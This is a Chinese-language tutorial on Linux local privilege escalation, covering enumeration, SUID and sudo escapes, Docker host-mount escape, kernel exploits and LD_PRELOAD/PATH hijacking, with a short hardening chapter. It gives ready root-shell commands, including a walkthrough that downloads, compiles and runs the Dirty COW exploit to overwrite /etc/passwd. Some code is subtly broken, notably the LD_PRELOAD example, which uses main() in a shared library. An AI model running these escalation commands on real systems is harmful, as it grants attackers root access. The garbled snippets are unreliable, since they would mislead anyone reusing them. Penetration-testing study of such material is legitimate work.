\title{Linux 本地权限提升漏洞利用技术}
\author{黄梓淳}
\date{May 07, 2026}
\maketitle
Linux 本地权限提升，即 Local Privilege Escalation（LPE），是指攻击者在已获得低权限用户（如 www-data 或 nobody）访问权限后，通过利用系统漏洞、配置错误或特权机制缺陷，将权限提升至 root 用户的过程。这种技术在渗透测试和红队演练中占据核心地位，因为它往往是攻破服务器的关键一步。根据 W3Techs 和 Statista 的统计数据，Linux 系统在全球服务器和云环境中的占比超过 70\%{}，这使得 LPE 成为网络安全领域关注的焦点。本文旨在为安全研究者、渗透测试员和系统管理员提供全面指导，帮助他们理解和应对 LPE 威胁。\par
本文的目标是系统阐述 Linux LPE 的原理、枚举方法、利用技术和防御策略。读者对象主要是具备基础 Linux 操作经验的安全从业者。我们强调，所有内容仅用于合法授权的渗透测试和安全研究，严禁用于非法活动。文章结构从基础知识入手，逐步深入枚举、信息收集、常见利用技术分类、实战案例、防御措施，直至工具资源和结论。\par
\chapter{Linux 权限提升基础知识}
Linux 权限模型基于用户、组和其他三类主体的读（r）、写（w）、执行（x）权限，每个权限以位表示。这种 rwx 模型通过文件权限位（如 ls -l 显示的 drwxr-xr-x）控制访问。UID 为 0 的 root 用户拥有最高特权，能绕过大多数限制。SUID（Set User ID）和 SGID（Set Group ID）位是关键机制，当普通用户执行带有 SUID 位的二进制文件时，会以文件所有者（通常 root）的身份运行，从而引入潜在风险。\par
本地权限提升常见于已获取低权限 shell 的场景，例如 Web 应用漏洞导致的 www-data shell，此时目标是从普通用户提升至 root。枚举是第一步，使用自动化工具能高效发现弱点。例如 LinPEAS 是一个综合脚本，能扫描 SUID 文件、内核版本和配置错误；LinEnum 专注于脚本式枚举；linux-exploit-suggester 则根据内核版本建议潜在 Exploit。这些工具的下载链接分别指向 github.com/carlospolop/PEASS-ng、github.com/rebootuser/LinEnum 和 github.com/mzet-/linux-exploit-suggester。\par
\chapter{枚举与信息收集技术}
系统信息枚举是 LPE 的起点。通过 uname -a 可以获取内核版本，例如输出 Linux hostname 5.4.0-42-generic \#{}46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86\_{}64 GNU/Linux，这直接揭示潜在内核漏洞。cat /etc/os-release 显示发行版如 Ubuntu 20.04，cat /etc/passwd 列出用户列表，而 /etc/shadow 存储加密密码（需 root 读取）。\par
SUID/GUID 二进制文件枚举至关重要。命令 find / -perm -u=s -type f 2>/dev/null 搜索所有带 SUID 位的可执行文件，输出如 /usr/bin/sudo；find / -perm -4000 -o -perm -2000 2>/dev/null 则覆盖 SUID（4000）和 SGID（2000）位。这些文件若配置不当，可直接滥用。\par
可写文件和目录枚举帮助发现覆盖机会。find /etc -writable 2>/dev/null 列出 /etc 下可写路径，如 /etc/passwd；find /var/www -type d ( -perm -o+w -o -perm -g+w -o -perm -u+w ) 2>/dev/null 检查 Web 目录的写权限，这些常用于替换脚本。\par
Cron 任务和服务枚举揭示定时任务弱点。cat /etc/crontab 查看全局 crontab，ls -la /etc/cron* /var/spool/cron* 检查 cron 目录，systemctl list-timers 列出 systemd 定时器。若这些任务以 root 运行且脚本可写，即可替换为恶意 payload。\par
\chapter{常见权限提升漏洞利用技术分类}
\section{SUID 二进制滥用}
SUID 二进制滥用是最经典的 LPE 向量，许多系统工具如 vim、find 和 less 带有 SUID 位。以 vim 为例，执行 vim.tiny 进入编辑器，然后输入 :!/bin/sh 即可逃逸至 root shell。这个命令的解读：: 表示 vim 命令模式，! 执行 shell 命令，/bin/sh 启动交互 shell。由于 vim 运行在 root 上下文中，shell 继承 root 权限。GTFOBins（gtfobins.github.io）汇集了数百种 SUID 滥用技巧，如 find 的 exec 参数注入。\par
自定义 SUID 程序更危险，若开发者未正确 drop 权限，低权限用户可注入代码执行 root 操作。\par
\section{内核漏洞利用}
内核漏洞如 Dirty COW（CVE-2016-5195）影响 2.6.22 至 4.8.3 版本，利用 race condition 实现写时复制（Copy-On-Write）绕过。Exploit 通过 github.com/dirtycow/dirtycow.github.io 下载 PoC，编译后运行即可覆盖 /etc/passwd 获 root shell。难度中等，需要精确内核匹配。\par
CVE-2021-4034（PwnKit）针对 pkexec，影响 Polkit 框架。通过精心构造的环境变量，触发缓冲区溢出获 root。搜索工具如 searchsploit pkexec 或 exploit-db 快速定位 PoC。\par
\section{配置文件误配利用}
sudo 权限滥用常见于规则宽松。sudo -l 枚举可用命令，如 (root) NOPASSWD: /usr/bin/vim，若可见则 sudo vim -c '!/bin/sh' 逃逸：-c 执行 vim 命令，!/bin/sh 弹出 root shell。\par
Wildcard 注入利用 sudoedit * 规则，编辑任意文件获 root 写权限。Cron 任务覆盖则替换可写 root 脚本，如 /etc/cron.hourly/myscript。\par
\section{服务与进程滥用}
Docker 逃逸利用容器挂载。docker run -v /:/mnt --rm -it alpine chroot /mnt sh 将宿主机 / 挂载至容器 /mnt，chroot 切换根目录获宿主机 shell。这个命令解读：-v /:/mnt 绑定挂载，alpine 是轻量镜像，chroot /mnt sh 以 /mnt 为新根启动 sh。\par
systemd 服务劫持针对可写服务文件，Polkit/PKExec 复用 PwnKit。\par
\section{其他高级技术}
LD\_{}PRELOAD 注入劫持库加载。编写 exploit.c：echo 'int main()\{{}setuid(0);system("/bin/sh");\}{}' > exploit.c，其中 setuid(0) 降为 root，system("/bin/sh") 执行 shell。然后 gcc -shared -fPIC -o exploit.so exploit.c 编译为共享库，LD\_{}PRELOAD=./exploit.so SUDO\_{}COMMAND=whoami sudo whoami 预加载库，覆盖 whoami 前运行 payload 获 root。\par
PATH 劫持置恶意二进制于 PATH 前，NFS/Capabilities 滥用 no\_{}root\_{}squash 或 cap\_{}setuid。\par
\chapter{实战案例分析}
实战案例一：Dirty COW 在 Ubuntu 16.04 上。搭建环境用 VirtualBox 安装 Ubuntu 16.04，获取低权限 shell 后枚举 uname -a 确认内核 4.4。下载 PoC：wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c，gcc -pthread dirtyc0w.c -o dirtyc0w，./dirtyc0w ./password passwd 覆盖 /etc/passwd 添加 root 用户，su 新用户获 shell。\par
案例二：Sudo 规则滥用。sudo -l 显示 (ALL) NOPASSWD: /usr/bin/find，执行 find . -exec /bin/sh ; -quit 利用 exec 参数逃逸。\par
案例三：Ubuntu 22.04 路径。枚举 LinPEAS 发现 pkexec CVE-2021-4034，直接编译 PwnKit PoC 提权。\par
\chapter{防御与缓解措施}
系统加固从移除不必要 SUID 开始，如 chmod u-s /usr/bin/find 清除 find 的 SUID 位。及时更新内核：apt update \&{}\&{} apt upgrade linux-image-generic 修补 Dirty COW 等漏洞。启用 AppArmor/SELinux：aa-enforce /etc/apparmor.d/* 强制策略。\par
监控用 auditd 配置规则跟踪 sudo 和 SUID 执行，Falco/OSSEC 实时警报。自动化扫描 Lynis 和 OpenSCAP 定期检查。\par
\chapter{工具与资源汇总}
一键枚举用 wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh；chmod +x linpeas.sh \&{}\&{} ./linpeas.sh 运行，脚本自动输出彩色报告。资源包括 Exploit DB（exploit-db.com）、GTFOBins（gtfobins.github.io）和 Linux Privilege Escalation 参考（paypal.github.io/2018/01/19/Linux-Privilege-Escalation）。\par
\chapter{结论}
Linux LPE 涵盖 SUID 滥用、内核 Exploit、配置误配等多维度，枚举是成功关键。内核迭代迅速，需持续学习。防御优先，Blue Team 应注重最小权限和监控。行动号召：搭建 Vulnhub 或 Metasploitable 靶机实践。\par
\chapter{附录}
常用 Payload 如 vim :!/bin/sh。内核 Exploit 对应表见 Exploit DB。参考文献：GTFOBins、PEASS-ng。更新日志：2024-01 初版。\par
